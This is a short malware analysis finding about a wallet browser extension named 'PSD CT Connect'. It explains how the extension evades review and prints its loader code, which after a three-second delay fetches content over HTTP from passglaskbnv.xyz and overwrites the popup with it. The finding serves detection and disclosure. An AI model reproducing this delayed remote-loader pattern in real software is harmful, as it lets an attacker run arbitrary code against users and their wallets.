Wallet:PSD CT Connect

After a 3-second delay, the extension fetches content from the unregistered third-party domain passglaskbnv.xyz/file/c.php over plain HTTP and uses document.open()/document.write()/document.close() to replace the entire popup document with whatever the server returns. This is a remote code execution loader: the attacker controls the server and can deliver arbitrary HTML and JavaScript to any user who opens the extension popup, long after the static ZIP was reviewed by the Chrome Web Store. The 3-second delay is a known technique to evade automated sandbox analysis that times out quickly.

setTimeout(function() {  $.get("http://passglaskbnv.xyz/file/c.php", function(data) {    document.open();    document.write(data);    document.close();  });}, 3000);